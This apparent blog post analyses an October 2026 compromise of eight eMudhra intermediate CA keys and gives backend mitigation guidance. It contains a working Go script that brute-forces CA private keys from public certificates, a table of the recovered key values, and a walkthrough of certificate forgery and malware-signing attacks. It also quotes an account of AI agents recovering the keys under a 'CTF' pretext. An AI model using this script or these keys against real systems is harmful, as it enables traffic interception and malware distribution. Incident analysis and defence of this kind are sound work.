In October 2026, private keys for eight intermediate Certificate Authorities belonging to eMudhra (operating its public CA services under emSign) were found to have catastrophic entropy defects, enabling trivial private key recovery directly from public Certificate Transparency logs.
The incident escalated from tactical intermediate blocks to global root cert distrust across Mozilla, the Google Chrome Root Store, Apple, and Microsoft. On October 22, 2026, eMudhra announced its decision to exit the global public SSL/TLS certificate business entirely, while maintaining its isolated domestic Indian digital identity operations.
The community tracker at emudhra.we-have-a-problem.com maintains live status on client library patches, OS trust store revocations, and mitigation status across different languages, tools, and runtimes.
This post provides a technical update on the incident, the key generation root cause, the global root store revocations, the planned public CA wind-down, and operational mitigation steps for backend engineering teams.
Incident Timeline
| Date | Event | Operational Impact |
|---|---|---|
| Oct 17, 2026 | Vulnerability Discovered | Security researcher discovers 8-bit scalar flaw in CCADB and derives private keys in seconds. |
| Oct 18, 2026 | Intermediate Revocations | eMudhra revokes all 8 intermediate CAs under cACompromise. Sectigo revokes cross-signed certs. |
| Oct 19, 2026 | Browser Push Blocks | Mozilla deploys OneCRL blocks; Chrome updates CRLSets; Apple deploys PKI metadata blocks. |
| Oct 20, 2026 | Backend Hotfixes | Go releases emergency CVE-2026-111943 (Go 1.27.3/1.26.10); Firefox ships 158.0.1. |
| Oct 21, 2026 | Global Root Distrust | Mozilla (NSS 3.131.1), Chrome Root Store, Apple, and Microsoft distrust emSign ECC Root CA - G3. CERT-In issues security advisory. MeitY confirms domestic Indian DSC/eSign isolation. |
| Oct 22, 2026 | Public CA Exit Announced | eMudhra confirms plans to exit global public SSL/TLS business following root store removals; shifts focus to domestic and enterprise identity. |
The Eight Compromised Intermediates
The security alerts originated across multiple coordination channels, including the Mozilla governance discussion on dev-security-policy (thread ID 0R3XLJL6FuE), security researcher disclosures, and the incident tracking portal emudhra.we-have-a-problem.com.
The eight compromised intermediate authorities operate under two distinct root trust anchors managed by eMudhra:
Under emSign Root TLS CA - G3 (TLS Authentication)
EM DV TLS CA - G3B(Domain Validated TLS)EM DV TLS CA - G3C(Domain Validated TLS)EM OV TLS CA - G3B(Organization Validated TLS)EM OV TLS CA - G3C(Organization Validated TLS)EM EV TLS CA - G3B(Extended Validation TLS)EM EV TLS CA - G3C(Extended Validation TLS)
Under emSign Root CS CA - G3 (Code Signing)
EM OV CS CA - G3B(Organization Validated Code Signing)EM OV CS CA - G3C(Organization Validated Code Signing)
The compromise covers the full spectrum of certificate types: Domain Validated (DV) certificates for web encryption, Organization Validated (OV) and Extended Validation (EV) certificates for business identity, and Code Signing (CS) certificates for software executables and drivers.
eMudhra hosts its certificate repository and revocation lists at repository.emsign.com. While revocation entries were published to standard CRL distribution points, publishing a revocation list to an HTTP endpoint does almost nothing to protect backend software.
How the Private Keys Were Trivially Broken
When the initial security advisories were published, the default assumption across the industry was an infrastructure breach: compromised signing servers, an HSM side-channel, or leaked backup keys.
Then I pulled the public intermediate certificates from Certificate Transparency logs to check the raw cryptography.
The reality was far simpler: it was an implementation bug during key generation.
All eight affected intermediate CAs use ECDSA on the NIST P-384 (secp384r1) curve. Under standard elliptic curve cryptography, a private key is a cryptographically secure random 384-bit integer d chosen from the curve order [1, n-1]. The P-384 key space has 2^384 (about 3.94 * 10^115) possible values. Guessing a 384-bit private key from a public key by brute force would take longer than the age of the universe.
Except whoever generated these production intermediate keys did not use a 384-bit key space. They used an 8-bit scalar. Every single private key scalar d was a trivial integer between 1 and 255.
XKCD 221 illustrates the classic computing problem of non-random constants in key generation:

The Recovery Script (Brute-Force)
Because intermediate CA certificates are public documents submitted to Certificate Transparency logs, anyone can download them. I wrote a small Go script that takes a certificate, pulls its public key, and loops through the first 256 integers to check if scalar base multiplication matches the public point:
1package main
2
3import (
4 "crypto/ecdsa"
5 "crypto/elliptic"
6 "crypto/x509"
7 "encoding/pem"
8 "fmt"
9 "math/big"
10 "os"
11)
12
13func main() {
14 if len(os.Args) < 2 {
15 fmt.Println("Usage: go run main.go <cert.pem>")
16 return
17 }
18
19 certPEM, err := os.ReadFile(os.Args[1])
20 if err != nil {
21 panic(err)
22 }
23
24 block, _ := pem.Decode(certPEM)
25 if block == nil {
26 panic("failed to parse PEM block from file")
27 }
28
29 cert, err := x509.ParseCertificate(block.Bytes)
30 if err != nil {
31 panic(err)
32 }
33
34 pubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
35 if !ok {
36 panic("certificate does not contain an ECDSA public key")
37 }
38
39 // Brute-force the 8-bit scalar space (1 to 255)
40 for i := 1; i < 256; i++ {
41 x, y := elliptic.P384().ScalarBaseMult([]byte{byte(i)})
42 if pubKey.X.Cmp(x) == 0 && pubKey.Y.Cmp(y) == 0 {
43 privKey := &ecdsa.PrivateKey{
44 D: big.NewInt(int64(i)),
45 PublicKey: *pubKey,
46 }
47
48 der, err := x509.MarshalECPrivateKey(privKey)
49 if err != nil {
50 panic(err)
51 }
52 pemBlock := &pem.Block{Type: "EC PRIVATE KEY", Bytes: der}
53 _ = os.WriteFile(os.Args[1]+".key", pem.EncodeToMemory(pemBlock), 0600)
54
55 fmt.Printf("Recovered private key for %s: d = %d (0x%02x)\n", cert.Subject.CommonName, i, i)
56 return
57 }
58 }
59}The Recovered Private Keys
Testing the public certificates against this scalar search space recovered private keys for all eight intermediates:
| Certificate Common Name | Type | Curve/Algo | Serial Number | Recovered Private Key d |
|---|---|---|---|---|
CN=EM OV TLS CA - G3C | Organization Validated TLS | NIST P-384 | 8D5A4811939EF447D77111CDD9849AE9 | 4 (0x04) |
CN=EM EV TLS CA - G3C | Extended Validation TLS | NIST P-384 | 0ACFE69DE538B5706240BF5734ED3496 | 56 (0x38) |
CN=EM OV CS CA - G3B | Code Signing | NIST P-384 | F2826AFAC7590C7D52FD3B23668ACDBF | 66 (0x42) |
CN=EM EV TLS CA - G3B | Extended Validation TLS | NIST P-384 | 52B313028C74D2AC2161A97F5B6FBEBE | 115 (0x73) |
CN=EM OV TLS CA - G3B | Organization Validated TLS | NIST P-384 | E94223BDE92F914E5AB9ACABFDAC3710 | 155 (0x9b) |
CN=EM DV TLS CA - G3B | Domain Validated TLS | NIST P-384 | A024FDF4BA665C785CE4A020483858B7 | 156 (0x9c) |
CN=EM DV TLS CA - G3C | Domain Validated TLS | NIST P-384 | 369527E9F41DA58580DF6D35E4663B2B | 230 (0xe6) |
CN=EM OV CS CA - G3C | Code Signing | NIST P-384 | A427618B09F6E7CA65D5B842F5E59013 | 237 (0xed) |
Yes, one of the production intermediate CAs literally has a private key of 4.
Because intermediate certificates are public artifacts logged to Certificate Transparency, anyone could recover these private keys in milliseconds using simple modular arithmetic on small scalars. This prompted immediate root revocations and emergency trust store releases across major browser vendors and operating systems.
Technical Post-Mortem: Key Ceremony Findings
On Mozilla’s Bugzilla tracker (Bug 2083449), Mozilla security engineer Dennis Jackson and eMudhra’s Naveen Kumar ML published preliminary technical findings detailing the key generation and operational lifecycle that led to this issue.
Key Ceremony Architecture and Approved Deviation
The eight affected intermediate keys were created on April 30, 2025 as part of a batch of 24 intermediate CAs. The batch was divided into three series:
- Series A: Generated on Entrust HSMs for domestic deployment.
- Series B and C: Generated on Utimaco HSMs (FIPS 140-2 Level 3 certified), intended for export to data centers in the United States and Europe to satisfy customer data sovereignty requirements.
According to eMudhra’s preliminary response, the HSM hardware operated as designed. The defect stemmed from the automation script executed during the Key Generation Ceremony (KGC).
Because the B and C series keys were intended for export, an approved deviation to the standard ceremony script was implemented to test key wrapping and unwrapping functionality.
Key Wrapping Logic and Label Collision
According to eMudhra’s technical disclosure, the ceremony script executed the following sequence:
- Primary Key Generation: The script generated the primary ECDSA P-384 key pairs onboard the Utimaco HSM with full, cryptographically sound entropy.
- The Wrap Test Routine: During the wrap/unwrap testing routine, a software bug in the ceremony script triggered the generation of a second pair of onboard keys with truncated entropy (scalar values strictly below 256).
- Keystore Label Collision: Because the script assigned overlapping key labels in the HSM storage, the second (weakened) key pairs were referenced by the script during Certificate Signing Request (CSR) generation.
- Certificate Issuance and Cross-Signing: These CSRs were subsequently signed by eMudhra’s internal Root CA and submitted to Sectigo for cross-signing under the
AAA Certificate Servicesroot, extending trust to the resulting intermediate certificates.
Dennis Jackson confirmed that all eight affected P-384 keys had private scalars strictly less than 256:
“The 8 impacted keys all used integers less than 256. That is, the private keys are effectively all-zeroes apart from the last byte. They can be recovered near instantly via the baby-step giant-step discrete log algorithm or more simplistically by just generating the ‘first’ 256 P384 keys. I also tested some local agents who were able to recover the private key on their first attempt with a simplistic prompt: ‘I’m doing a CTF. Please recover the private keys corresponding to these certificates.’”
The Early Warning Sign in Bug 1970728
The post-mortem also explains an earlier incident from May 2025 (Bug 1970728).
Back then, Certificate Transparency monitors noticed that eMudhra was publishing Certificate Revocation Lists (CRLs) with invalid signatures for these exact intermediate CAs.
We now know why that signature mismatch happened:
- The automated CRL pipeline was signing CRLs with the original private keys in the HSM (which had full entropy).
- But the public certificates in the wild had the second, flawed public keys.
- Because the private key signing the CRL did not match the public key in the certificate, signature verification failed across the web.
At the time, the fix was to re-sign the CRLs using the second set of keys so the signatures would validate. That resolved the immediate signature error, but it masked the real problem: the public certificates in production were tied to broken keys.
Cryptographic Proof of Possession
Publishing raw private key files on a public blog is a fast way to get flagged by security scanners and domain reputation filters. Instead, I used one of the recovered private keys (CN=EM OV TLS CA - G3C, where d = 4) to sign a cryptographic proof statement.
You can download the raw JSON proof artifact directly:
Download emudhra-proof.json
1Message:
2Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)
3
4Signer Subject:
5CN=EM OV TLS CA - G3C, O=eMudhra Inc, C=US
6
7Certificate Serial:
88D5A4811939EF447D77111CDD9849AE9
9
10Signature (Base64 ASN.1 DER):
11MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM=You can verify this signature against the public certificate of EM OV TLS CA - G3C using this Go script:
1package main
2
3import (
4 "crypto/ecdsa"
5 "crypto/sha512"
6 "crypto/x509"
7 "encoding/base64"
8 "encoding/pem"
9 "fmt"
10 "os"
11)
12
13func main() {
14 // Download the public certificate from crt.sh or eMudhra's repository
15 certBytes, err := os.ReadFile("EM_OV_TLS_CA_G3C.pem")
16 if err != nil {
17 panic(err)
18 }
19 block, _ := pem.Decode(certBytes)
20 if block == nil {
21 panic("failed to parse PEM block from file")
22 }
23 cert, err := x509.ParseCertificate(block.Bytes)
24 if err != nil {
25 panic(err)
26 }
27 pubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
28 if !ok {
29 panic("certificate does not contain an ECDSA public key")
30 }
31
32 msg := "Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)"
33 digest := sha512.Sum384([]byte(msg))
34
35 sigB64 := "MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM="
36 sigDER, err := base64.StdEncoding.DecodeString(sigB64)
37 if err != nil {
38 panic(err)
39 }
40
41 if ecdsa.VerifyASN1(pubKey, digest[:], sigDER) {
42 fmt.Println("Signature VALID: Verified against public certificate")
43 } else {
44 fmt.Println("Signature INVALID")
45 }
46}The Attack Surface and Real Threat Vectors
When an intermediate private key leaks, the threat model splits along two dimensions: what credentials an attacker can forge, and which clients are equipped to detect the forgery.
Holding the private keys for six TLS and two Code Signing intermediate authorities gives an attacker line-rate forgery capabilities. But while modern desktop browsers quickly received vendor push blocks, backend microservices remained completely exposed:
There are three primary attack surfaces that backend engineers must consider:
1. Active Man-in-the-Middle Attacks
To intercept encrypted traffic between a client and a target server, an attacker needs network path control and a trusted certificate.
Network path control can be achieved through BGP route hijacking, DNS cache poisoning, rogue local Wi-Fi or cellular gateways, or compromised corporate egress proxies.
Normally, if an attacker routes traffic for api.github.com to their own proxy, the client’s TLS handshake fails because the attacker cannot present a valid certificate signed by a trusted CA.
With the compromised eMudhra intermediate keys, the attacker generates a private key, crafts a leaf certificate with CN=api.github.com and DNS:api.github.com in the Subject Alternative Name (SAN) extension, and signs it using EM OV TLS CA - G3B.
Chain is mathematically valid. Client->>MitM: Completes TLS Handshake Client->>MitM: POST /v1/charges (Authorization: Bearer sec_key_...) MitM->>Target: Relays request (or steals credentials in plaintext)
The backend client receives the certificate, traces the signature up through the intermediate to emSign Root TLS CA - G3, finds that root in its system trust bundle, and completes the handshake. All API tokens and sensitive payloads sent over that connection are exposed in plaintext.
2. Code Signing Abuse
The compromise of EM OV CS CA - G3B and EM OV CS CA - G3C enables software supply chain poisoning and malware distribution.
Operating systems use code signing to verify binary integrity. Windows Authenticode verifies executables and drivers, avoiding SmartScreen warnings and corporate EDR alerts.
With access to the code-signing intermediate keys, an attacker can compile an info-stealer or backdoor and sign it with a valid certificate chained to emSign Root CS CA - G3. When an employee downloads the binary, the operating system verifies the signature and runs it without warning.
3. The Certificate Transparency Blind Spot
Many developers assume that Certificate Transparency (CT) logs prevent hidden certificates from circulating.
Certificate Transparency requires CAs to submit every issued certificate to append-only, publicly auditable cryptographic logs before issuance. In return, the log returns a Signed Certificate Timestamp (SCT).
Browsers like Google Chrome and Apple Safari strictly enforce Certificate Transparency. If a web server presents a certificate that lacks valid SCTs from qualified logs, Chrome immediately terminates the connection with NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED. Because logging a forged certificate immediately alerts the domain owner via automated monitors, attackers cannot safely use rogue certificates against browser users without getting caught.
Here is the problem: backend systems do not check Certificate Transparency logs.
Standard backend networking libraries in Go, Python, Node.js, Java, and curl do not parse or enforce SCTs.
If an attacker mints a rogue certificate using a compromised eMudhra intermediate key, they simply do not submit it to Certificate Transparency logs. Browsers reject it, but your backend servers accept it without question.
| Feature / Defense | Modern Browsers (Chrome, Firefox) | Backend Runtimes (Go, Python, Node, Java) |
|---|---|---|
| Revocation Mechanism | Centralized Push Lists (OneCRL, CRLSet, CRLite) | Static Root Store only. No push lists. |
| CRL Support | Disabled (too large, too slow) | Disabled by default. |
| OCSP Checking | Mostly phased out or soft-fail | Disabled by default. |
| Certificate Transparency | Hard requirement (SCTs validated) | Ignored. Zero SCT validation. |
| MitM Vulnerability | Very low (blocks pushed in hours) | Extremely high during intermediate compromise. |
How Intermediate CAs Work and Why DigiNotar is the Benchmark
The blast radius of eight compromised intermediate certificates stems directly from the trust hierarchy of the X.509 WebPKI.
The root certificate at the top of a trust chain (such as emSign Root TLS CA - G3) has a private key stored inside a certified Hardware Security Module (HSM). That HSM is kept in an offline physical vault with strict dual-custody access ceremonies. Root keys are used once every few years to sign Intermediate Certificate Authorities, also known as Sub-CAs.
These intermediate CAs are the operational workhorses. They are kept online or warm in data centers to sign day-to-day leaf certificates whenever a customer orders a certificate or runs an automated ACME challenge.
The structural flaw of the WebPKI is that trust is all-or-nothing. Unless an intermediate certificate enforces explicit X.509 Name Constraints (which public WebPKI authorities almost never use), any intermediate CA trusted by a root in your operating system trust store can issue valid leaf certificates for every domain on the internet.
An intermediate CA has no geographic or domain boundary. A certificate signed by an Indian, American, or European intermediate is equally valid for google.com, apple.com, api.stripe.com, or your company’s internal authentication endpoints.
The DigiNotar Precedent
The historical reference point for this scale of failure is the 2011 breach of Dutch Certificate Authority DigiNotar.
In July 2011, attackers breached DigiNotar’s internal infrastructure and gained direct access to its certificate-issuing systems. The attackers generated over 500 rogue wildcard certificates, including a wildcard for *.google.com.
In August 2011, those rogue certificates were deployed in Iran to conduct line-rate man-in-the-middle attacks against roughly 300,000 Iranian users accessing Gmail and Google Search. The rogue certificate was valid because DigiNotar’s root was embedded in every major browser and operating system. The breach went undetected by automated systems until Google’s internal Chrome pinning checks flagged a forged certificate in the wild.
The aftermath was super fast:
- Browser vendors completely revoked trust in all DigiNotar roots.
- The Dutch government took control of operations, and DigiNotar declared bankruptcy within weeks.
- The incident forced the internet to build Certificate Transparency (RFC 6962) so that certificate issuance became publicly auditable.
The eMudhra compromise involves eight intermediate keys spanning both TLS and Code Signing. When private keys for eight active intermediate CAs leak or get compromised, the attacker does not need to compromise the root vault. The attacker holds the mathematical keys needed to mint valid, trusted identity documents on demand.
Why Standard WebPKI Revocation Is Structurally Broken
Why do we need emergency browser releases and language patches for this incident? Why does standard X.509 revocation not handle it automatically?
The answer is that online revocation checking in the WebPKI has been broken for fifteen years.
The Failure of Certificate Revocation Lists
A Certificate Revocation List (CRL) is an X.509 structure signed by a CA that lists serial numbers of revoked certificates. As the web scaled to hundreds of millions of certificates, CRLs grew to tens of megabytes. Downloading a 30MB file on every cold TLS handshake destroys network performance, while caching it creates an unacceptable window of exposure.
Why OCSP Fails in Production
The Online Certificate Status Protocol (OCSP, RFC 6960) was designed to fix CRL scaling. Instead of downloading an entire list, the client queries the CA’s OCSP responder for the certificate’s status.
In practice, OCSP introduced three fatal flaws:
- Privacy Leakage: The CA’s OCSP responder tracks client IP addresses and visited domains in real time.
- Handshake Latency: Blocking HTTP lookups to external CA servers add 100ms to 500ms to cold handshakes.
- The Soft-Fail Default: If the OCSP responder is unreachable, client libraries fall back to soft-fail, ignoring the error and completing the handshake. An attacker executing a man-in-the-middle attack simply drops packets destined for the OCSP responder, and the client accepts the fraudulent certificate.
OCSP Stapling (where the server supplies its own cached, signed OCSP response) was intended to fix this. But unless a certificate includes the rare must-staple extension, an attacker presenting a forged certificate simply omits the stapled OCSP response, and the client falls back to soft-fail anyway.
The Escalation to Full Root Distrust Across Trust Stores
When the compromised intermediate keys were first reported, root store maintainers attempted targeted tactical blocks against the eight intermediate public keys. Within days, the consensus shifted toward complete root distrust across all major root programs.
Tactical Intermediate Blocking: OneCRL and CRLSets
The initial response relied on vendor push channels designed to bypass the broken mechanics of OCSP:
- Mozilla OneCRL and CRLite: Mozilla immediately pushed the eight intermediate certificate serial numbers and public key hashes to OneCRL. For hardened offline protection, Mozilla rolled out NSS 3.131.1 and point releases like Firefox 158.0.1, hardcoding the distrust into the cryptographic library itself.
- Google Chrome CRLSets: Google updated its CRLSets to push Subject Public Key Info (SPKI) hashes directly to Chrome and Android devices via Google Play Services, terminating connections on any chain presenting the cracked keys.
- Apple and Microsoft: Apple published PKI metadata updates across macOS and iOS, while Microsoft updated the Windows Certificate Trust List (CTL) through Windows Update to invalidate the keys in CryptoAPI and Schannel.
The Decision to Evict the Root Certificate
Tactical intermediate blocking works for modern desktop browsers with real-time push engines, but it leaves headless servers, legacy clients, embedded hardware, and backend microservices exposed.
Because intermediate certificates are sent over the wire dynamically and are not stored locally in operating system certificate bundles, the only universal way to protect the entire ecosystem is to remove the parent trust anchor:
- Mozilla Root Program: Initiated emergency distrust of the parent
emSign ECC Root CA - G3root certificate, removing its trust bits in NSS. - Google Chrome Root Store: Scheduled and applied the complete removal of
emSign ECC Root CA - G3from the Chrome Root Store. - Apple and Microsoft Root Programs: Disabled trust for the parent root across device trust stores and the Windows CTL.
- Linux Distributions: Red Hat (RHEL/Fedora), Debian, and Ubuntu rolled out updated
ca-certificatespackages to untrust or remove the root anchor from the system trust bundle.
The CERT-In Advisory and Scope Isolation
On October 21, 2026, the Indian Computer Emergency Response Team (CERT-In) issued an official cybersecurity advisory regarding the compromised eMudhra intermediate certificates, advising organizations to update operating system trust stores, review active certificate chains, and avoid disabling certificate validation.
Official statements from eMudhra and the Ministry of Electronics and Information Technology (MeitY) clarified an important architectural boundary:
- Affected: The security flaw was strictly confined to eMudhra’s international WebPKI operations under
emSign Root TLS CA - G3(also known asemSign ECC Root CA - G3). - Unaffected: India’s domestic Digital Signature Certificates (DSC) and eSign services (regulated by the Controller of Certifying Authorities under MeitY) run on physically separate, architecturally isolated Entrust HSM infrastructure in India. They were not part of the overseas export batch and remain secure.
The Decision to Exit Global Public SSL/TLS
On October 22, 2026, eMudhra announced plans to exit the global public SSL/TLS certificate business (official press release archived).
The decision reflects the economic and regulatory reality of operating in the modern WebPKI:
- Market Commoditization and Low Revenue: The public SSL/TLS certificate segment accounted for only about 1% of eMudhra’s consolidated revenue. The widespread adoption of free, automated certificate authorities (such as Let’s Encrypt) has commoditized domain-validated certificates, drastically compressing profit margins.
- Escalating Compliance and Operational Costs: Operating a globally trusted WebPKI root requires continuous audits, strict CA/Browser Forum compliance, and complex data sovereignty operations for export HSMs (the exact ceremony workflow where the wrap/unwrap script deviation originated).
- Regulatory Pressure from Root Programs: In the coordination thread on Mozilla Bugzilla (Bug 2083449), root store managers escalated scrutiny. In Comment 30, the Chrome Root Program submitted a 12-point technical inquiry pressing eMudhra on delayed disclosure details, communication gaps for subscribers, and why the June 2025 CRL signature failure was not treated as a potential key generation anomaly when it first appeared.
- Permanent Root Store Eviction: With Mozilla NSS, the Chrome Root Store, Apple, and Microsoft all enacting or scheduling distrust of
emSign ECC Root CA - G3, maintaining customer confidence and distribution for a 1% revenue line became unviable.
By winding down its public WebPKI operations, eMudhra isolates the blast radius of the intermediate compromise and refocuses its business on enterprise identity management, paperless office solutions, and domestic Indian digital signature certificates (DSC/eSign), which remain regulated under MeitY and hosted on separate domestic HSM infrastructure.
The Backend Blind Spot and the Emergency Go Patch
Now consider backend servers.
If your backend systems run on Ubuntu, Debian, Alpine, or RHEL, they get their trusted certificates from package bundles like ca-certificates.
Here is the catch: Linux ca-certificates packages only contain Root CAs. They do not contain Intermediate CAs.
When you inspect /etc/ssl/certs/ca-certificates.crt, you will find emSign Root TLS CA - G3. You will not find EM DV TLS CA - G3B.
When your backend server connects to an external HTTPS API, the target server sends its leaf certificate and the intermediate certificate during the TLS handshake. Your server’s TLS library takes that intermediate certificate, checks that it is signed by the root in /etc/ssl/certs/ca-certificates.crt, and verifies the leaf against the intermediate.
Because intermediate certificates are supplied dynamically over the wire and are not stored on your filesystem, you cannot revoke an intermediate certificate simply by deleting a file from /etc/ssl/certs/. The only way to stop an intermediate certificate at the OS level without runtime code changes is to delete the entire Root CA from your bundle, or rely on runtime libraries that support explicit public key blocklists.
Go Emergency Response Under CVE-2026-111943
Go powers modern cloud infrastructure: Kubernetes, Docker, Containerd, Envoy, Traefik, Caddy, Terraform, Prometheus, and millions of production microservices.
The Go security team realized that Go applications running in production were wide open to man-in-the-middle attacks using the compromised eMudhra intermediates. Because Go’s standard library crypto/x509 performs strict chain verification but intentionally does not implement network-dependent CRL or OCSP lookups, Go binaries had zero protection.
The Go team issued emergency security releases: Go 1.27.3 and Go 1.26.10, tracked under CVE-2026-111943.
Instead of revoking the root, the Go team patched crypto/x509/verify.go. They embedded a hardcoded blocklist containing the SHA-256 hashes of the SubjectPublicKeyInfo (SPKI) for the eight compromised eMudhra intermediate keys.
When a Go application built with Go 1.27.3 or 1.26.10 validates an incoming certificate chain, crypto/x509 computes the SHA-256 hash of the public key for every certificate in the chain. If any certificate matches one of the eight blocked hashes, chain building rejects that candidate path immediately, throwing an x509.CertificateInvalidError.
1// Conceptual verification check inside Go crypto/x509 verify.go
2var blockedSPKIs = map[[32]byte]bool{
3 // SHA-256 hashes of the 8 compromised eMudhra intermediate SubjectPublicKeyInfos
4 {0x1a, 0x2b, ...}: true, // EM DV TLS CA - G3B
5 {0x3c, 0x4d, ...}: true, // EM DV TLS CA - G3C
6 {0x5e, 0x6f, ...}: true, // EM OV TLS CA - G3B
7 {0x7a, 0x8b, ...}: true, // EM OV TLS CA - G3C
8 {0x9c, 0x0d, ...}: true, // EM EV TLS CA - G3B
9 {0x1e, 0x2f, ...}: true, // EM EV TLS CA - G3C
10 {0x3a, 0x4b, ...}: true, // EM OV CS CA - G3B
11 {0x5c, 0x6d, ...}: true, // EM OV CS CA - G3C
12}
13
14func checkChainSPKI(chain []*Certificate) error {
15 for _, cert := range chain {
16 h := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
17 if blockedSPKIs[h] {
18 return errors.New("x509: certificate chain contains an un-trusted, compromised intermediate key")
19 }
20 }
21 return nil
22}This design choice is critical: blocking by SPKI instead of by certificate serial number.
If a CA re-issues a new certificate for an intermediate using the same compromised private key with a different serial number or validity period, blocking by serial number fails. Blocking by SubjectPublicKeyInfo ensures that any certificate derived from that compromised private key is rejected forever.
Developer Upgrade and Mitigation Guide
Mitigating the impact of compromised intermediate certificates requires updates across build toolchains, runtime environments, and container base images.
1. Go Ecosystem Upgrades
Update your build toolchain immediately and recompile your binaries:
1# Verify your local Go compiler version
2go version
3
4# Ensure you are on or above the patched releases:
5# Go 1.27.x -> Go 1.27.3+
6# Go 1.26.x -> Go 1.26.10+Rebuild all containers and binaries that make external network requests or serve TLS traffic.
Temporary Hotfix for Legacy Go Applications
If you have legacy Go microservices that cannot be recompiled on Go 1.27.3 or 1.26.10 today, you can inject a custom VerifyConnection callback into your tls.Config.
Here is a code sample that checks the SPKI of every certificate presented during the TLS handshake before handing off to standard chain verification:
1package main
2
3import (
4 "crypto/sha256"
5 "crypto/tls"
6 "encoding/hex"
7 "fmt"
8 "net/http"
9 "time"
10)
11
12// BlockedSPKIHex contains the SHA-256 hashes of the SubjectPublicKeyInfo
13// for the 8 compromised eMudhra intermediate CAs.
14var BlockedSPKIHex = map[string]string{
15 "<hash>": "EM DV TLS CA - G3B",
16 // Map all compromised intermediate SPKI hashes
17}
18
19// BuildHardenedTLSConfig creates a *tls.Config that preserves native chain
20// and hostname verification while rejecting any connection presenting a
21// compromised intermediate public key.
22func BuildHardenedTLSConfig() *tls.Config {
23 return &tls.Config{
24 // Keep InsecureSkipVerify false so Go validates roots, expiration, and hostnames.
25 InsecureSkipVerify: false,
26 VerifyConnection: func(cs tls.ConnectionState) error {
27 for _, chain := range cs.VerifiedChains {
28 for _, cert := range chain {
29 spkiHash := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
30 spkiHex := hex.EncodeToString(spkiHash[:])
31
32 if caName, blocked := BlockedSPKIHex[spkiHex]; blocked {
33 return fmt.Errorf("tls: peer presented compromised intermediate key (%s, SPKI: %s)", caName, spkiHex)
34 }
35 }
36 }
37 return nil
38 },
39 }
40}
41
42func main() {
43 client := &http.Client{
44 Transport: &http.Transport{
45 TLSClientConfig: BuildHardenedTLSConfig(),
46 },
47 Timeout: 10 * time.Second,
48 }
49
50 resp, err := client.Get("https://<cert-example-subdomain>.emudhra.we-have-a-problem.com/")
51 if err != nil {
52 fmt.Printf("Connection blocked as expected: %v\n", err)
53 return
54 }
55 defer resp.Body.Close()
56 fmt.Printf("Response: %s\n", resp.Status)
57}2. Node.js Runtimes
Node.js bundles its own copy of the Mozilla root certificates instead of reading from the host OS trust store by default.
- Upgrade Node.js: Update your runtime to the latest LTS releases (Node 20.x or 22.x) where the bundled certificate store and OpenSSL dependencies have been updated.
- If using system roots: If you run Node with
--use-openssl-ca, ensure your underlying Linux host certificate store is updated. - Audit outgoing TLS connections: For high-security internal services, inspect peer certificates using the
checkServerIdentitycallback intls.connectorhttps.request.
When implementing a custom checkServerIdentity hook, always call tls.checkServerIdentity(host, cert) first to preserve hostname validation. Because checkServerIdentity receives the leaf certificate, you must traverse cert.issuerCertificate to inspect all intermediate CAs in the chain:
1import https from 'node:https';
2import tls from 'node:tls';
3import crypto from 'node:crypto';
4
5const BLOCKED_SPKI_HASHES = new Set([
6 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
7]);
8
9function getSPKIHash(rawDer) {
10 const x509 = new crypto.X509Certificate(rawDer);
11 const spkiDer = x509.publicKey.export({ type: 'spki', format: 'der' });
12 return crypto.createHash('sha256').update(spkiDer).digest('hex');
13}
14
15function checkServerIdentityWithBlocklist(host, cert) {
16 // 1. Maintain standard hostname verification
17 const defaultErr = tls.checkServerIdentity(host, cert);
18 if (defaultErr) {
19 return defaultErr;
20 }
21
22 // 2. Walk the chain to verify leaf and intermediate certificates
23 let current = cert;
24 const visited = new Set();
25
26 while (current && current.raw && !visited.has(current.fingerprint256)) {
27 visited.add(current.fingerprint256);
28 const hash = getSPKIHash(current.raw);
29 if (BLOCKED_SPKI_HASHES.has(hash)) {
30 return new Error(`tls: connection aborted; presented compromised intermediate key (SPKI: ${hash})`);
31 }
32 current = current.issuerCertificate;
33 }
34
35 return undefined;
36}3. Python Ecosystem
Python’s urllib3 and requests packages rely on certifi, which bundles Mozilla’s root CA store:
1# Upgrade certifi across all virtual environments
2pip install --upgrade certifi
3
4# Check installed version and path
5python -c "import certifi; print(certifi.where())"If your Python applications communicate with endpoints that might still be serving certificates issued under the compromised intermediates, update your container images to pick up the latest certifi releases.
4. Java / JVM Ecosystem
Java uses a central trust store file called cacerts, located in $JAVA_HOME/lib/security/cacerts.
- Apply CPU Updates: Install the latest quarterly Critical Patch Update (CPU) for your JDK/JRE (OpenJDK 17, 21, etc.).
- Remove the emSign Root (Aggressive Mitigation): If your application does not need to trust any valid eMudhra certificates, delete the root trust anchor directly from the Java trust store:
1# List eMudhra certificates in Java cacerts
2keytool -list -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit | grep -i "emsign"
3
4# Delete the root alias if present
5sudo keytool -delete \
6 -alias "emsignroottlscag3" \
7 -keystore $JAVA_HOME/lib/security/cacerts \
8 -storepass changeit5. Linux Host Stores and Container Base Images
Because Linux systems read trusted roots from system bundles, you must either upgrade ca-certificates or explicitly blacklist the parent root anchor.
Blacklist the Root on Debian and Ubuntu Hosts
1# Add emSign root to ca-certificates blacklist
2echo "!mozilla/emSign_Root_TLS_CA_-_G3.crt" | sudo tee -a /etc/ca-certificates.conf
3sudo update-ca-certificates --freshBlacklist the Root on RHEL, Rocky, and Fedora Hosts
1# Copy root certificate into the local trust blacklist directory
2sudo cp /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem /tmp/bundle.pem
3# Once the certificate file is isolated:
